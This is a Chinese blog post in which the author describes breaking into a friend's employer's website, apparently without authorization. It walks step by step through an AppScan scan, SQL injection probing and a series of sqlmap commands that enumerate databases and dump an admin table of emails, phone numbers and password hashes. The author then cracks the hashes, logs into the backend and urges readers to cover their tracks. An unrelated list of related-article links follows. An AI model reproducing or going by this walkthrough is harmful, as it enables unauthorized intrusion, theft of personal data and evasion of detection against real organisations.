最近在研究Web安全相关的知识,特别是SQL注入类的相关知识。接触了一些与SQL注入相关的工具。周末在家闲着无聊,想把平时学的东东结合起来攻击一下身边某个小伙伴去的公司,看看能不能得逞。不试不知道,一试还真TM得逞了,内心有些小激动,特在此写博文一篇,来记录下我是如何一步步攻破这家互联网公司的。

【作案工具介绍】

(1) AppScan渗透扫描工具

Appscan是Web应用程序渗透测试舞台上使用最广泛的工具之一。它是一个桌面应用程序,它有助于专业安全人员进行Web应用程序自动化脆弱性评估。

(2) Sqlmap渗透测试工具

Sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。

【作案细节如下】

首先使用Appscan工具,对www.xxx.com互联网公司的官网进行扫描,扫描结果如下: 

在这56个安全性问题中,找到你感兴趣的链接,例如下面这条:

http://www.xxx.com/system/cms/show?id=1

为何要挑出这一条呢?因为它对于SQL注入比较典型,下面普及下SQL注入常用手法。首先用如下语句,确定该网站是否存在注入点:

http://192.168.16.128/news.php?id=1 原网站

http://192.168.16.128/news.php?id=1’ 出错或显示不正常

http://192.168.16.128/news.php?id=1 and 1=1 出错或显示不正常

http://192.168.16.128/news.php?id=1 and 1=2 出错或显示不正常

如果有出错,说明存在注入点。

在判断完http://www.xxx.com/system/cms/show?id=1该链接存在注入点后,接下来就启动我们的渗透测试工具Sqlmap,进行下一步的注入工作,详细过程如下:

1) 再次确认目标注入点是否可用:

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1

参数:

-u:指定注入点url

结果:

注入结果展示:

a. 参数id存在基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

b. 参数id存在基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

c. 数据库类型为:MySql 5.0.12

2) 暴库所有数据库:

一条命令即可曝出该sqlserver中所有数据库名称,命令如下:

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1  --dbs

参数:

--dbs:dbs前面有两条杠,列出所有数据库。

结果:

结果显示该sqlserver中共包含3个可用的数据库。

3) 获取当前使用的数据库

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --current-db

参数:

--current-db:当前所使用的数据库。

结果:

4) 获取当前数据库使用账户

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --current-user

5) 列出sqlserver所有用户

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --users 

6) 获取当前用户数据库账户与密码

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --passwords

结果显示该用户可能无读取相关系统的权限。

7) 列出数据库中的表

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store --tables  

参数:

-D:指定数据库名称

--tables:列出表

结果:

结果显示共列出了69张表。

8) 列出表中字段

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin --columns

参数:

-D:指定数据库名称

-T:指定要列出字段的表

--columns:指定列出字段

结果:

9)暴字段内容

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C "ag_id,email,id,mobile,name,password,status" --dump

参数:

-C :指定要暴的字段

--dump:将结果导出

如果字段内容太多,需要花费很多时间。可以指定导出特定范围的字段内容,命令如下:

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C "ag_id,email,id,mobile,name,password,status" --start 1 --stop 10 --dump

参数:

--start:指定开始的行

--stop:指定结束的行

此条命令的含义为:导出数据库xxx_store中的表mall_admin中的关于字段(ag_id,email,id,mobile,name,password,status)中的第1到第10行的数据内容。

结果如下:

通过上图,我们可以看到admin表中的用户信息了。我们将password字段通过md5解密,可以得到hash的原文密码,通过用户名和密码,我们就可以登录该网站了。

至此,我们已成功入侵到一家公司的后台,并拿到了相关的数据。不过要在这里提醒你:成功入侵只是成功了一半,另外最重要的一半是把屁股擦干净,不让别人发现你了!

本文由腾讯WeTest团队提供,更多资讯可直接戳链接查看:熊哥club »
转载请注明:熊哥club »

转载于:https://www.cnblogs.com/xionggeclub/p/5666262.html

SQL注入—我是如何一步步攻破一家互联网公司的相关推荐

  1. web漏洞-SQL注入漏洞、目录遍历漏洞、文件下载漏洞

    这里用到的是Pikachu漏洞练习平台 一.SQL注入漏洞-数字型注入 SQL注入漏洞简介 在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库 ...

  2. pikachu SQL注入 (皮卡丘漏洞平台通关系列)

    目录 一.官方的戏精引言 二.仙女在认真闯关 一重天 数字型注入 二重天 字符型注入 三重天 搜索型注入 四重天 xx型注入 五重天 insert/update注入 (1)insert注入 (2)up ...

  3. sql注入漏洞和sqlmap的使用

    目录 什么是sql漏洞: sql语言: 数据库和网页用户请求的原理: sql注入原理: sql注入检测: sql注入检测工具: 实例演示: 漏洞防御 什么是sql漏洞: 这边采用了皮卡丘的sql漏洞的 ...

  4. Pikachu靶场通关笔记--Sql Inject(SQL注入)

    在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞.一个严重的SQL注入漏洞,可能会直接导致一家公司破产! SQL注入漏洞主要形成的原 ...

  5. 看黑客如何一步步攻破你的服务器

    一篇科普文,很适合小白,长文请静下心看. 通过本文你将了解黑客常用的入手思路和技术手法,适合热爱网络信息安全的新手朋友了解学习.本文将从最开始的信息收集开始讲述黑客是如何一步步的攻破你的网站和服务器的 ...

  6. 某游戏公司后台数据库SQL注入事件分析

    某游戏公司后台数据库SQL注入事件分析 人物关系简介 Blank –SA Dawn(Boss) Ryan –DBA Fred –离开公司的安全顾问 本案例出自于<Unix/Linux网络日志分析 ...

  7. 某学院系统sql注入到服务器沦陷(bypss)

    前言 前一段时间都在挖edu src,为了混几个证书,中间陆陆续续也挖到好几枚系统的通杀吧,不过资产都不多,都是黑盒测试出来的,没啥技术含量.只有这次挖到的这枚通杀稍微有那么一点点价值,从外网web一 ...

  8. resultset mysql_MySQL数据库学习笔记(九)----JDBC的ResultSet接口(查询操作)、PreparedStatement接口重构增删改查(含SQL注入的解释)...

    [声明] 欢迎转载,但请保留文章原始出处→_→ [正文] 一.ResultSet接口的介绍: 对数据库的查询操作,一般需要返回查询结果,在程序中,JDBC为我们提供了ResultSet接口来专门处理查 ...

  9. .NET防SQL注入方法

      SQL语句 利用SqlCommand传参数的方法: string strSQL="SELECT * FROM [user] WHERE user_id=@id"; SqlCom ...

最新文章

  1. 为放大器模拟输入模块提供可靠的输入过电压保护
  2. ECCV 2020 | PHOSA:一种基于单目图像的人-物重建方法
  3. Myeclipse连接Mysql数据库时报错:Error while performing database login with the pro driver:unable...
  4. ABAP 弹出框自建内容POPUP
  5. linux和GNU之间的关系
  6. 上传更新的代码到gitlab
  7. C++ OpenCV 问题
  8. java 算法 数组_常见算法总结 - 数组篇
  9. CSS3 Transition
  10. 科比都这么努力,你还有什么借口不努力呢?
  11. 加拿大约克大学计算机科学专业怎么样,加拿大约克大学优势专业有哪些?
  12. 自然语言处理——文本分类概述
  13. Exploit Development – 使用SEH绕过Security Cookie
  14. 信息安全的核心:CIA三元组 | 安全千字文系列1
  15. 机器人社社长事迹_科技之星事迹材料
  16. Fix for BOOTMGR Error
  17. CTeX里是如何无限期试用winedt 7的
  18. 【渝粤教育】电大中专职业健康与安全 (2)作业 题库
  19. 语音端点检测(Voice Activity Detection,VAD)
  20. BAT——学习之路——入门

热门文章

  1. python学生管理系统-学生管理系统python
  2. python编程工资-2019年Python就业薪资怎么样?看完你就了解了
  3. 自学python要到什么程度-学好深度学习,Python 得达到什么程度?
  4. 软件测试用python一般用来做什么-做软件测试的, python应该掌握成怎么样 ?
  5. python是基于什么语言开发-python是哪个国家的人开发的语言
  6. python好吗-自学python好吗?跟培训比那个好?
  7. python如何读取excel数据-python怎么读取excel中的数值
  8. python网络爬虫教程-终于明了python网络爬虫从入门到实践
  9. python安装第三方库-python第三方库的四种安装方法
  10. python百度百科api-Python即时网络爬虫:API说明